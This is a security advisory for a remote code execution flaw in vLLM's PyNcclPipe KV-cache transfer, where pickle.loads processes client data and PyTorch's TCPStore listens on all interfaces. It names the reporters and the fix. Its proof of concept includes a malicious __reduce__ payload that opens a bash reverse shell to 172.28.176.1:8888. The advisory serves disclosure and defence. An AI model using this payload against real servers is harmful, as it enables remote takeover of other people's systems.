PYSEC-2026-567

### Impacted Environments

This issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected.

### Summary vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​

A remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.

The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html

Unfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. This issue was reported privately to PyTorch and they determined that this behavior was intentional.

### Details The `PyNcclPipe` implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads` , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.

1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched: ```python from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe from vllm.config import KVTransferConfig

config=KVTransferConfig( kv_ip="0.0.0.0", kv_port=18888, kv_rank=0, kv_parallel_size=1, kv_buffer_size=1024, kv_buffer_device="cpu" )

p=PyNcclPipe(config=config,local_rank=0) p.recv_tensor() # Receive data ```

2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service:

```python from vllm.distributed.utils import StatelessProcessGroup

class Evil: def __reduce__(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,))

client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, world_size=2, )

client.send_obj(obj=Evil(),dst=0) ```

The call stack triggering ​RCE is as follows: ``` vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl -> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata -> vllm.distributed.utils.StatelessProcessGroup.recv_obj -> pickle.loads ```

Getshell as follows:

 ### Reporters

This issue was reported independently by three different parties: * @kikayli (Zhuque Lab, Tencent) * @omjeki * Russell Bryant (@russellb)

### Fix

* https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.